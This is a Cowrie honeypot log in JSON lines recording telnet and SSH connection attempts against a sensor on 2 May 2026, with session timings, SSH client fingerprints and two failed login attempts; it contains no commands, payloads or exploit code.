{"eventid":"cowrie.session.closed","duration":31.069214820861816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:54.992035Z","src_ip":"74.208.239.44","session":"d60d78211e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68428063392639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:55.043602Z","src_ip":"74.208.239.44","session":"c64222f2882e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":38666,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6c2d0e2ea96","protocol":"telnet","message":"New connection: 74.208.239.44:38666 (159.203.135.109:23) [session: f6c2d0e2ea96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:56.210844Z"}
{"eventid":"cowrie.session.closed","duration":31.255702018737793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:56.572191Z","src_ip":"74.208.239.44","session":"9854751368e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd04ef228717","protocol":"telnet","message":"New connection: 64.227.101.30:34694 (10.17.0.5:23) [session: fd04ef228717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:57.396908Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":39348,"dst_ip":"159.203.135.109","dst_port":23,"session":"e244abf3f2e3","protocol":"telnet","message":"New connection: 74.208.239.44:39348 (159.203.135.109:23) [session: e244abf3f2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:57.571468Z"}
{"eventid":"cowrie.session.closed","duration":31.275615692138672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:57.582494Z","src_ip":"74.208.239.44","session":"3a9c6e12b863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662877082824707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:58.086779Z","src_ip":"74.208.239.44","session":"ebb2f08b9790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37665843963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:58.950113Z","src_ip":"74.208.239.44","session":"4d340d00a018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061370372772217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:00.032717Z","src_ip":"74.208.239.44","session":"6dc1281e2f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":40936,"dst_ip":"159.203.135.109","dst_port":23,"session":"747853c972cd","protocol":"telnet","message":"New connection: 74.208.239.44:40936 (159.203.135.109:23) [session: 747853c972cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:00.372416Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":41510,"dst_ip":"159.203.135.109","dst_port":23,"session":"7624229efed1","protocol":"telnet","message":"New connection: 74.208.239.44:41510 (159.203.135.109:23) [session: 7624229efed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:01.330180Z"}
{"eventid":"cowrie.session.closed","duration":31.222976684570312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:02.295558Z","src_ip":"74.208.239.44","session":"622c699dafb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1850266456604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:02.577010Z","src_ip":"64.227.101.30","session":"5450278d59b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38153862953186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:02.796921Z","src_ip":"74.208.239.44","session":"496558abe94a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58406,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c60aec600c","protocol":"telnet","message":"New connection: 68.183.198.12:58406 (159.203.135.109:23) [session: 35c60aec600c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:04.158781Z"}
{"eventid":"cowrie.session.closed","duration":30.564871788024902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:05.179924Z","src_ip":"74.208.239.44","session":"14705903ac1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052245140075684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:05.225569Z","src_ip":"74.208.239.44","session":"571c815ba3f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45028,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0472d0e242e","protocol":"telnet","message":"New connection: 161.97.105.174:45028 (159.203.135.109:23) [session: a0472d0e242e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:06.534288Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44552,"dst_ip":"159.203.135.109","dst_port":23,"session":"0965126dcb1f","protocol":"telnet","message":"New connection: 74.208.239.44:44552 (159.203.135.109:23) [session: 0965126dcb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:06.602908Z"}
{"eventid":"cowrie.session.closed","duration":31.2588791847229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:06.680747Z","src_ip":"74.208.239.44","session":"90c89ad90485","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93302345275879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:07.024551Z","src_ip":"74.208.239.44","session":"cdd599e44961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":44864,"dst_ip":"159.203.135.109","dst_port":23,"session":"de0cf16e5432","protocol":"telnet","message":"New connection: 74.208.239.44:44864 (159.203.135.109:23) [session: de0cf16e5432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:07.110584Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37570,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a999390b8e","protocol":"telnet","message":"New connection: 64.227.101.30:37570 (10.17.0.5:23) [session: a0a999390b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:07.940104Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":45620,"dst_ip":"159.203.135.109","dst_port":23,"session":"a211d302b647","protocol":"telnet","message":"New connection: 74.208.239.44:45620 (159.203.135.109:23) [session: a211d302b647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:08.149045Z"}
{"eventid":"cowrie.session.closed","duration":31.2297101020813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:08.505283Z","src_ip":"74.208.239.44","session":"6d6e09fe5296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"f14707afd01c","protocol":"telnet","message":"New connection: 74.208.239.44:45904 (159.203.135.109:23) [session: f14707afd01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:08.574427Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35754,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e88cf6359c","protocol":"telnet","message":"New connection: 64.227.101.30:35754 (10.17.0.5:23) [session: 01e88cf6359c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:08.828233Z"}
{"eventid":"cowrie.session.closed","duration":31.24624276161194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:09.327481Z","src_ip":"74.208.239.44","session":"da95ac21be73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":58573,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4e1fd323e8","protocol":"ssh","message":"New connection: 103.170.173.26:58573 (10.17.0.5:22) [session: fc4e1fd323e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:11.566027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:11.570630Z","src_ip":"103.170.173.26","session":"fc4e1fd323e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:11.854741Z","src_ip":"103.170.173.26","session":"fc4e1fd323e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.61219263076782,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:12.683111Z","src_ip":"161.97.105.174","session":"5183aa042674","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa@WS3ed","message":"login attempt [ubuntu/1qa@WS3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:13.012428Z","src_ip":"103.170.173.26","session":"fc4e1fd323e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38584,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db11f0fb64e","protocol":"telnet","message":"New connection: 64.227.101.30:38584 (10.17.0.5:23) [session: 3db11f0fb64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:13.038075Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":49506,"dst_ip":"159.203.135.109","dst_port":23,"session":"d136dbd144a9","protocol":"telnet","message":"New connection: 74.208.239.44:49506 (159.203.135.109:23) [session: d136dbd144a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:13.584820Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:14.296676Z","src_ip":"103.170.173.26","session":"fc4e1fd323e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35454,"dst_ip":"10.17.0.5","dst_port":23,"session":"b228a72962da","protocol":"telnet","message":"New connection: 64.227.101.30:35454 (10.17.0.5:23) [session: b228a72962da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:14.724542Z"}
{"eventid":"cowrie.session.closed","duration":30.42304229736328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:15.187147Z","src_ip":"74.208.239.44","session":"d7c43db94083","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.371196508407593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:15.228644Z","src_ip":"74.208.239.44","session":"6028ce5336e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355666160583496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:15.913533Z","src_ip":"74.208.239.44","session":"f447b0e38d23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.398948192596436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:16.333601Z","src_ip":"74.208.239.44","session":"1667327e4e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.21703886985779,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:16.419810Z","src_ip":"161.97.105.174","session":"428196c15c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.794978618621826,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:16.509658Z","src_ip":"161.97.105.174","session":"61352f3982db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5598201751709,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:16.641130Z","src_ip":"161.97.105.174","session":"336b2a8eee00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":51810,"dst_ip":"159.203.135.109","dst_port":23,"session":"375e519563fb","protocol":"telnet","message":"New connection: 74.208.239.44:51810 (159.203.135.109:23) [session: 375e519563fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:16.928853Z"}
{"eventid":"cowrie.session.closed","duration":30.891900777816772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:17.002720Z","src_ip":"74.208.239.44","session":"aef78f22dd8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.526896953582764,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:17.650405Z","src_ip":"161.97.105.174","session":"c7e401b450c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148608207702637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:18.024175Z","src_ip":"74.208.239.44","session":"45f440e78f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":52784,"dst_ip":"159.203.135.109","dst_port":23,"session":"6541d4db82e6","protocol":"telnet","message":"New connection: 74.208.239.44:52784 (159.203.135.109:23) [session: 6541d4db82e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:18.374703Z"}
{"eventid":"cowrie.session.closed","duration":31.114692211151123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:18.520335Z","src_ip":"74.208.239.44","session":"5e7bb45cfd1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36820077896118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:19.139861Z","src_ip":"74.208.239.44","session":"7d34ab26f1d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871639013290405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:19.986345Z","src_ip":"74.208.239.44","session":"e5b2bff79eb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":53588,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e3ab2ccd305","protocol":"telnet","message":"New connection: 74.208.239.44:53588 (159.203.135.109:23) [session: 0e3ab2ccd305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:20.116997Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":53676,"dst_ip":"159.203.135.109","dst_port":23,"session":"861af600e522","protocol":"telnet","message":"New connection: 74.208.239.44:53676 (159.203.135.109:23) [session: 861af600e522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:20.284975Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":57030,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0b9c048003d","protocol":"ssh","message":"New connection: 209.99.189.174:57030 (10.17.0.5:22) [session: c0b9c048003d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:20.650715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:20.655924Z","src_ip":"209.99.189.174","session":"c0b9c048003d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:20.785925Z","src_ip":"209.99.189.174","session":"c0b9c048003d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali!@#","message":"login attempt [ali/ali!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:21.338814Z","src_ip":"209.99.189.174","session":"c0b9c048003d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:22.472107Z","src_ip":"209.99.189.174","session":"c0b9c048003d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.611637353897095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:23.592885Z","src_ip":"74.208.239.44","session":"958f3ee65bef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42190432548523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:25.430776Z","src_ip":"74.208.239.44","session":"f9b3d3fb67e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.936814308166504,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:26.681149Z","src_ip":"161.97.105.174","session":"e257fb68680a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41866,"dst_ip":"10.17.0.5","dst_port":23,"session":"90bd790e0ecd","protocol":"telnet","message":"New connection: 64.227.101.30:41866 (10.17.0.5:23) [session: 90bd790e0ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:26.716488Z"}
{"eventid":"cowrie.session.closed","duration":31.30587673187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:27.516623Z","src_ip":"74.208.239.44","session":"f6c2d0e2ea96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.457302570343018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:28.028656Z","src_ip":"74.208.239.44","session":"e244abf3f2e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42676,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f976becd566","protocol":"telnet","message":"New connection: 64.227.101.30:42676 (10.17.0.5:23) [session: 8f976becd566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:30.016302Z"}
{"eventid":"cowrie.session.closed","duration":30.76115345954895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:31.133447Z","src_ip":"74.208.239.44","session":"747853c972cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41678,"dst_ip":"159.203.135.109","dst_port":23,"session":"58382458faae","protocol":"telnet","message":"New connection: 161.97.105.174:41678 (159.203.135.109:23) [session: 58382458faae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:31.915955Z"}
{"eventid":"cowrie.session.closed","duration":31.14650797843933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:32.476556Z","src_ip":"74.208.239.44","session":"7624229efed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43896,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c4caee0262","protocol":"telnet","message":"New connection: 64.227.101.30:43896 (10.17.0.5:23) [session: 70c4caee0262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:32.988933Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34080,"dst_ip":"159.203.135.109","dst_port":23,"session":"79aa0bf3c091","protocol":"telnet","message":"New connection: 68.183.198.12:34080 (159.203.135.109:23) [session: 79aa0bf3c091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:33.126582Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41680,"dst_ip":"159.203.135.109","dst_port":23,"session":"41e268a3cad9","protocol":"telnet","message":"New connection: 161.97.105.174:41680 (159.203.135.109:23) [session: 41e268a3cad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:33.464590Z"}
{"eventid":"cowrie.session.closed","duration":37.269901514053345,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:34.666632Z","src_ip":"64.227.101.30","session":"fd04ef228717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68531060218811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:37.288085Z","src_ip":"74.208.239.44","session":"0965126dcb1f","protocol":"telnet"}
